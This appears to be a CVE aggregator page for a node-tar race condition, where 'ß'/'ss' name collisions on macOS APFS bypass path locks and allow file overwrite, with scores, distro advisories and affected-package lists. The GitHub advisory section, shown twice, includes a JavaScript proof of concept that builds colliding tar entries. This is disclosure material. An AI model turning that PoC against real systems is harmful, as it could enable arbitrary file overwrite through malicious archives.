Every CVE Search/ Get API key

CVE-2026-23950

node-tar has Race Condition in Path Reservations via Unicode Ligature Collisions on macOS APFS

8.8 HighFix available

node-tar,a Tar for Node.js, has a race condition vulnerability in versions up to and including 7.5.3. This is due to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently. This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive. The patch in version 7.5.4 updates path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en'). As a workaround, users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
Required

What an attacker can affect

Confidentiality
Low
Integrity
High
Availability
Low

Exploit likelihood

0.26%Up 0.2 points since Jan 20, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.8

node-tar has Race Condition in Path Reservations via Unicode Ligature Collisions on macOS APFS

node-tar,a Tar for Node.js, has a race condition vulnerability in versions up to and including 7.5.3. This is due to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently. This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive. The patch in version 7.5.4 updates path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en'). As a workaround, users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.

Record
CVE-2026-23950
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L
Weakness
CWE-176, CWE-352, CWE-367, CWE-367
Updated
2026-11-02
EUVDEUVD-2026-3595 8.8

node-tar,a Tar for Node.js, has a race condition vulnerability in versions up to and including 7.5.3. This is due to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently. This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive. The patch in version 7.5.4 updates path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en'). As a workaround, users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.

Record
EUVD-2026-3595
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L
Updated
2026-11-02
GitHub AdvisoriesGHSA-r6q2-hw4h-h46w 8.8

Race Condition in node-tar Path Reservations via Unicode Ligature Collisions on macOS APFS

TITLE: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS

AUTHOR: Tomás Illuminati

Details

A race condition vulnerability exists in node-tar (v7.5.3) this is to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.

// node-tar/src/path-reservations.ts (Lines 53-62)
reserve(paths: string[], fn: Handler) {
    paths =
      isWindows ?
        ['win32 parallelization disabled']
      : paths.map(p => {
          return stripTrailingSlashes(
            join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS
          ).toLowerCase()
        })

In MacOS the join(normalizeUnicode(p)), FS confuses ß with ss, but this code does not. For example:

bash-3.2$ printf "CONTENT_SS\n" > collision_test_ss
bash-3.2$ ls
collision_test_ss
bash-3.2$ printf "CONTENT_ESSZETT\n" > collision_test_ß
bash-3.2$ ls -la
total 8
drwxr-xr-x   3 testuser  staff    96 Jan 19 01:25 .
drwxr-x---+ 82 testuser  staff  2624 Jan 19 01:25 ..
-rw-r--r--   1 testuser  staff    16 Jan 19 01:26 collision_test_ss
bash-3.2$ 

PoC

const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');

const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);

console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);

// Construct stream
const stream = new PassThrough();

const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);

// Key 1: "f_ss"
const header1 = new tar.Header({
    path: 'collision_ss',
    mode: 0o644,
    size: contentA.length,
});
header1.encode();

// Key 2: "f_ß"
const header2 = new tar.Header({
    path: 'collision_ß',
    mode: 0o644,
    size: contentB.length,
});
header2.encode();

// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding

stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding

// End
stream.write(Buffer.alloc(1024));
stream.end();

// Extract
const extract = new tar.Unpack({
    cwd: exploitDir,
    // Ensure jobs is high enough to allow parallel processing if locks fail
    jobs: 8 
});

stream.pipe(extract);

extract.on('end', () => {
    console.log('[*] Extraction complete');

    // Check what exists
    const files = fs.readdirSync(exploitDir);
    console.log('[*] Files in exploit dir:', files);
    files.forEach(f => {
        const p = path.join(exploitDir, f);
        const stat = fs.statSync(p);
        const content = fs.readFileSync(p, 'utf8');
        console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
    });

    if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
        console.log('\[*] GOOD');
    } else {
        console.log('[-] No collision');
    }
});


Impact

This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in…

Record
GHSA-r6q2-hw4h-h46w
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L
Weakness
CWE-176, CWE-367
Updated
2026-11-02
NVD 8.8

node-tar,a Tar for Node.js, has a race condition vulnerability in versions up to and including 7.5.3. This is due to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently. This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive. The patch in version 7.5.4 updates path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en'). As a workaround, users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.

Record
CVE-2026-23950
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L
CVSS 3.1
5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
Weakness
CWE-176, CWE-352, CWE-367
Updated
2026-11-02
OSV 8.8

node-tar has Race Condition in Path Reservations via Unicode Ligature Collisions on macOS APFS

node-tar,a Tar for Node.js, has a race condition vulnerability in versions up to and including 7.5.3. This is due to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently. This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive. The patch in version 7.5.4 updates path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en'). As a workaround, users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.

Record
CVE-2026-23950
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L
Weakness
CWE-176, CWE-352, CWE-367
Updated
2026-11-02
OSVDEBIAN-CVE-2026-23950 5.9

node-tar,a Tar for Node.js, has a race condition vulnerability in versions up to and including 7.5.3. This is due to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently. This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive. The patch in version 7.5.4 updates path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en'). As a workaround, users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.

Record
DEBIAN-CVE-2026-23950
CVSS 3.1
5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
Updated
2026-11-02
Show 20 moreShow less
OSVGHSA-r6q2-hw4h-h46w 8.8

Race Condition in node-tar Path Reservations via Unicode Ligature Collisions on macOS APFS

TITLE: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS

AUTHOR: Tomás Illuminati

Details

A race condition vulnerability exists in node-tar (v7.5.3) this is to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.

// node-tar/src/path-reservations.ts (Lines 53-62)
reserve(paths: string[], fn: Handler) {
    paths =
      isWindows ?
        ['win32 parallelization disabled']
      : paths.map(p => {
          return stripTrailingSlashes(
            join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS
          ).toLowerCase()
        })

In MacOS the join(normalizeUnicode(p)), FS confuses ß with ss, but this code does not. For example:

bash-3.2$ printf "CONTENT_SS\n" > collision_test_ss
bash-3.2$ ls
collision_test_ss
bash-3.2$ printf "CONTENT_ESSZETT\n" > collision_test_ß
bash-3.2$ ls -la
total 8
drwxr-xr-x   3 testuser  staff    96 Jan 19 01:25 .
drwxr-x---+ 82 testuser  staff  2624 Jan 19 01:25 ..
-rw-r--r--   1 testuser  staff    16 Jan 19 01:26 collision_test_ss
bash-3.2$ 

PoC

const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');

const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);

console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);

// Construct stream
const stream = new PassThrough();

const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);

// Key 1: "f_ss"
const header1 = new tar.Header({
    path: 'collision_ss',
    mode: 0o644,
    size: contentA.length,
});
header1.encode();

// Key 2: "f_ß"
const header2 = new tar.Header({
    path: 'collision_ß',
    mode: 0o644,
    size: contentB.length,
});
header2.encode();

// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding

stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding

// End
stream.write(Buffer.alloc(1024));
stream.end();

// Extract
const extract = new tar.Unpack({
    cwd: exploitDir,
    // Ensure jobs is high enough to allow parallel processing if locks fail
    jobs: 8 
});

stream.pipe(extract);

extract.on('end', () => {
    console.log('[*] Extraction complete');

    // Check what exists
    const files = fs.readdirSync(exploitDir);
    console.log('[*] Files in exploit dir:', files);
    files.forEach(f => {
        const p = path.join(exploitDir, f);
        const stat = fs.statSync(p);
        const content = fs.readFileSync(p, 'utf8');
        console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
    });

    if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
        console.log('\[*] GOOD');
    } else {
        console.log('[-] No collision');
    }
});


Impact

This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in…

Record
GHSA-r6q2-hw4h-h46w
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L
Weakness
CWE-176, CWE-367
Updated
2026-11-02
OSVRHSA-2026:18480 8.8

Red Hat Security Advisory: linux-sgx security update

Record
RHSA-2026:18480
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L
Updated
2026-11-02
OSVRHSA-2026:18868 8.8

Red Hat Security Advisory: linux-sgx security update

Record
RHSA-2026:18868
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L
Updated
2026-11-02
OSVRLSA-2026:18480 8.8

Important: linux-sgx security update

The Intel SGX SDK is a collection of APIs, libraries, documentations and tools that allow software developers to create and debug Intel SGX enabled applications in C/C++.

Security Fix(es):

  • qs: qs: Denial of Service via improper input validation in array parsing (CVE-2025-15284)

  • node-tar: tar: node-tar: Arbitrary file overwrite and symlink poisoning via unsanitized linkpaths in archives (CVE-2026-23745)

  • node-tar: tar: node-tar: Arbitrary file overwrite via Unicode path collision race condition (CVE-2026-23950)

  • lodash: prototype pollution in _.unset and _.omit functions (CVE-2025-13465)

  • node-tar: tar: node-tar: Arbitrary file creation via path traversal bypass in hardlink security check (CVE-2026-24842)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Additional Changes:

For detailed information on changes in this release, see the Rocky Linux 10 Release Notes linked from the References section.

Record
RLSA-2026:18480
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L
Updated
2026-11-02
OSVRLSA-2026:18868 8.8

Important: linux-sgx security update

The Intel SGX SDK is a collection of APIs, libraries, documentations and tools that allow software developers to create and debug Intel SGX enabled applications in C/C++.

Security Fix(es):

  • qs: qs: Denial of Service via improper input validation in array parsing (CVE-2025-15284)

  • node-tar: tar: node-tar: Arbitrary file overwrite and symlink poisoning via unsanitized linkpaths in archives (CVE-2026-23745)

  • node-tar: tar: node-tar: Arbitrary file overwrite via Unicode path collision race condition (CVE-2026-23950)

  • lodash: prototype pollution in _.unset and _.omit functions (CVE-2025-13465)

  • node-tar: tar: node-tar: Arbitrary file creation via path traversal bypass in hardlink security check (CVE-2026-24842)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Additional Changes:

For detailed information on changes in this release, see the Rocky Linux 9 Release Notes linked from the References section.

Record
RLSA-2026:18868
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L
Updated
2026-11-02
OSVROOT-APP-NPM-CVE-2026-23950 8.8

CVE-2026-23950 in tar - Patched by Root

Root has patched CVE-2026-23950 in the tar package for Root:npm. Multiple fixed versions available.

Record
ROOT-APP-NPM-CVE-2026-23950
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L
Updated
2026-11-02
OSVUBUNTU-CVE-2026-23950 8.8

node-tar,a Tar for Node.js, has a race condition vulnerability in versions up to and including 7.5.3. This is due to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently. This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive. The patch in version 7.5.4 updates path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en'). As a workaround, users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.

Record
UBUNTU-CVE-2026-23950
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L
CVSS 3.1
5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
Updated
2026-11-02
OSVALSA-2026:18480 No score

Important: linux-sgx security update

The Intel SGX SDK is a collection of APIs, libraries, documentations and tools that allow software developers to create and debug Intel SGX enabled applications in C/C++.

Security Fix(es):

  • qs: qs: Denial of Service via improper input validation in array parsing (CVE-2025-15284)
  • node-tar: tar: node-tar: Arbitrary file overwrite and symlink poisoning via unsanitized linkpaths in archives (CVE-2026-23745)
  • node-tar: tar: node-tar: Arbitrary file overwrite via Unicode path collision race condition (CVE-2026-23950)
  • lodash: prototype pollution in _.unset and _.omit functions (CVE-2025-13465)
  • node-tar: tar: node-tar: Arbitrary file creation via path traversal bypass in hardlink security check (CVE-2026-24842)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Additional Changes:

For detailed information on changes in this release, see the AlmaLinux Release Notes linked from the References section.

Record
ALSA-2026:18480
Updated
2026-11-02
OSVALSA-2026:18868 No score

Important: linux-sgx security update

The Intel SGX SDK is a collection of APIs, libraries, documentations and tools that allow software developers to create and debug Intel SGX enabled applications in C/C++.

Security Fix(es):

  • qs: qs: Denial of Service via improper input validation in array parsing (CVE-2025-15284)
  • node-tar: tar: node-tar: Arbitrary file overwrite and symlink poisoning via unsanitized linkpaths in archives (CVE-2026-23745)
  • node-tar: tar: node-tar: Arbitrary file overwrite via Unicode path collision race condition (CVE-2026-23950)
  • lodash: prototype pollution in _.unset and _.omit functions (CVE-2025-13465)
  • node-tar: tar: node-tar: Arbitrary file creation via path traversal bypass in hardlink security check (CVE-2026-24842)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Additional Changes:

For detailed information on changes in this release, see the AlmaLinuxRelease Notes linked from the References section.

Record
ALSA-2026:18868
Updated
2026-11-02
OSVCLSA-2026-1773188129 No score

TuxCare security update for tar (7 CVEs)

TuxCare rebuilt tar to address 7 CVEs. Fixed in 2.2.2-tuxcare.1.

Record
CLSA-2026-1773188129
Updated
2026-11-02
OSVCLSA-2026-1773533794 No score

TuxCare security update for tar (6 CVEs)

TuxCare rebuilt tar to address 6 CVEs. Fixed in 6.2.1-tuxcare.1.

Record
CLSA-2026-1773533794
Updated
2026-11-02
OSVCLSA-2026-1773706632 No score

TuxCare security update for tar (4 CVEs)

TuxCare rebuilt tar to address 4 CVEs. Fixed in 1.0.3-tuxcare.2.

Record
CLSA-2026-1773706632
Updated
2026-11-02
OSVCLSA-2026-1774830255 No score

TuxCare security update for tar (4 CVEs)

TuxCare rebuilt tar to address 4 CVEs. Fixed in 2.1.1-tuxcare.2.

Record
CLSA-2026-1774830255
Updated
2026-11-02
OSVCLSA-2026-1784509856 No score

TuxCare security update for tar (2 CVEs)

TuxCare rebuilt tar to address 2 CVEs. Fixed in 6.2.0-tuxcare.2.

Record
CLSA-2026-1784509856
Updated
2026-11-02
OSVCLSA-2026-1787823934 No score

TuxCare security update for tar (4 CVEs)

TuxCare rebuilt tar to address 4 CVEs. Fixed in 6.0.2-tuxcare.1.

Record
CLSA-2026-1787823934
Updated
2026-11-02
OSVCLSA-2026-1787916963 No score

TuxCare security update for tar (5 CVEs)

TuxCare rebuilt tar to address 5 CVEs. Fixed in 6.2.0-tuxcare.2.

Record
CLSA-2026-1787916963
Updated
2026-11-02
OSVCLSA-2026-1792074305 No score

TuxCare security update for tar (12 CVEs)

TuxCare rebuilt tar to address 12 CVEs. Fixed in 6.0.2-tuxcare.6.

Record
CLSA-2026-1792074305
Updated
2026-11-02
OSVCLSA-2026-1792164662 No score

TuxCare security update for tar (8 CVEs)

TuxCare rebuilt tar to address 8 CVEs. Fixed in 6.1.6-tuxcare.1.

Record
CLSA-2026-1792164662
Updated
2026-11-02
OSVCLSA-2026-1792369404 No score

TuxCare security update for tar (9 CVEs)

TuxCare rebuilt tar to address 9 CVEs. Fixed in 6.1.0-tuxcare.2.

Record
CLSA-2026-1792369404
Updated
2026-11-02
OSVCLSA-2026-1793307830 No score

TuxCare security update for tar (11 CVEs)

TuxCare rebuilt tar to address 11 CVEs. Fixed in 4.4.19-tuxcare.5.

Record
CLSA-2026-1793307830
Updated
2026-11-02

Affected products

Show 28 moreShow less

Affected packages

Affected packages
PackageAffectedFixed
tar
npm
through 7.5.3
7.5.4
sgx-common
AlmaLinux:10
From an advisory covering 5 CVEs
before 2.26-7.el10
2.26-7.el10
sgx-libs
AlmaLinux:10
From an advisory covering 5 CVEs
before 2.26-7.el10
2.26-7.el10
sgx-mpa
AlmaLinux:10
From an advisory covering 5 CVEs
before 2.26-7.el10
2.26-7.el10
sgx-pccs
AlmaLinux:10
From an advisory covering 5 CVEs
before 2.26-7.el10
2.26-7.el10
sgx-pccs-admin
AlmaLinux:10
From an advisory covering 5 CVEs
before 2.26-7.el10
2.26-7.el10
sgx-pckid-tool
AlmaLinux:10
From an advisory covering 5 CVEs
before 2.26-7.el10
2.26-7.el10
tdx-qgs
AlmaLinux:10
From an advisory covering 5 CVEs
before 2.26-7.el10
2.26-7.el10
sgx-common
AlmaLinux:9
From an advisory covering 5 CVEs
before 2.26-7.el9
2.26-7.el9
sgx-libs
AlmaLinux:9
From an advisory covering 5 CVEs
before 2.26-7.el9
2.26-7.el9
Show 65 moreShow less
Affected packages
PackageAffectedFixed
sgx-mpa
AlmaLinux:9
From an advisory covering 5 CVEs
before 2.26-7.el9
2.26-7.el9
sgx-pccs
AlmaLinux:9
From an advisory covering 5 CVEs
before 2.26-7.el9
2.26-7.el9
sgx-pccs-admin
AlmaLinux:9
From an advisory covering 5 CVEs
before 2.26-7.el9
2.26-7.el9
sgx-pckid-tool
AlmaLinux:9
From an advisory covering 5 CVEs
before 2.26-7.el9
2.26-7.el9
tdx-qgs
AlmaLinux:9
From an advisory covering 5 CVEs
before 2.26-7.el9
2.26-7.el9
tar
TuxCare:npm
From an advisory covering 7 CVEs
2.2.2-tuxcare.0 up to 2.2.2-tuxcare.1, plus listed versions
2.2.2
2.2.2-tuxcare.1
tar
TuxCare:npm
From an advisory covering 6 CVEs
6.2.1-tuxcare.0 up to 6.2.1-tuxcare.1, plus listed versions
6.2.1
6.2.1-tuxcare.1
tar
TuxCare:npm
From an advisory covering 4 CVEs
1.0.3-tuxcare.0 up to 1.0.3-tuxcare.2, plus listed versions
1.0.31.0.3-tuxcare.1
1.0.3-tuxcare.2
tar
TuxCare:npm
From an advisory covering 4 CVEs
2.1.1-tuxcare.0 up to 2.1.1-tuxcare.2, plus listed versions
2.1.12.1.1-tuxcare.1
2.1.1-tuxcare.2
tar
TuxCare:npm
From an advisory covering 2 CVEs
6.2.0-tuxcare.0 up to 6.2.0-tuxcare.2, plus listed versions
6.2.06.2.0-tuxcare.1
6.2.0-tuxcare.2
tar
TuxCare:npm
From an advisory covering 11 CVEs
6.0.2-tuxcare.0 up to 6.0.2-tuxcare.6, plus listed versions
6.0.26.0.2-tuxcare.16.0.2-tuxcare.26.0.2-tuxcare.36.0.2-tuxcare.46.0.2-tuxcare.5
6.0.2-tuxcare.6
tar
TuxCare:npm
From an advisory covering 8 CVEs
6.1.6-tuxcare.0 up to 6.1.6-tuxcare.1, plus listed versions
6.1.6
6.1.6-tuxcare.1
tar
TuxCare:npm
From an advisory covering 9 CVEs
6.1.0-tuxcare.0 up to 6.1.0-tuxcare.2, plus listed versions
6.1.06.1.0-tuxcare.1
6.1.0-tuxcare.2
tar
TuxCare:npm
From an advisory covering 10 CVEs
4.4.19-tuxcare.0 up to 4.4.19-tuxcare.5, plus listed versions
4.4.194.4.19-tuxcare.14.4.19-tuxcare.24.4.19-tuxcare.34.4.19-tuxcare.4
4.4.19-tuxcare.5
node-tar
Debian:12
All versions, plus listed versions
6.1.13+~cs7.0.5-16.1.13+~cs7.0.5-1+deb12u16.1.13+~cs7.0.5-26.1.13+~cs7.0.5-36.1.13+~cs7.0.5-4
Show 17 moreShow less
6.2.1+ds1+~cs6.1.13-16.2.1+ds1+~cs6.1.13-106.2.1+ds1+~cs6.1.13-116.2.1+ds1+~cs6.1.13-26.2.1+ds1+~cs6.1.13-36.2.1+ds1+~cs6.1.13-46.2.1+ds1+~cs6.1.13-56.2.1+ds1+~cs6.1.13-66.2.1+ds1+~cs6.1.13-76.2.1+ds1+~cs6.1.13-86.2.1+ds1+~cs6.1.13-96.2.1+~cs7.0.8-17.5.16+~4.0.1-17.5.16+~4.0.1-27.5.19+~4.0.1-17.5.19+~4.0.1-27.5.22+~4.0.1-1
None known
node-tar
Debian:13
before 6.2.1+~cs7.0.8-1+deb13u1, plus listed versions
6.2.1+~cs7.0.8-1
6.2.1+~cs7.0.8-1+deb13u1
node-tar
Debian:14
before 6.2.1+ds1+~cs6.1.13-7, plus listed versions
6.2.1+ds1+~cs6.1.13-16.2.1+ds1+~cs6.1.13-26.2.1+ds1+~cs6.1.13-36.2.1+ds1+~cs6.1.13-46.2.1+ds1+~cs6.1.13-56.2.1+ds1+~cs6.1.13-66.2.1+~cs7.0.8-1
6.2.1+ds1+~cs6.1.13-7
tar
npm
before 7.5.4
7.5.4
linux-sgx
Red Hat:enterprise_linux:10.2
From an advisory covering 5 CVEs
before 0:2.26-7.el10
0:2.26-7.el10
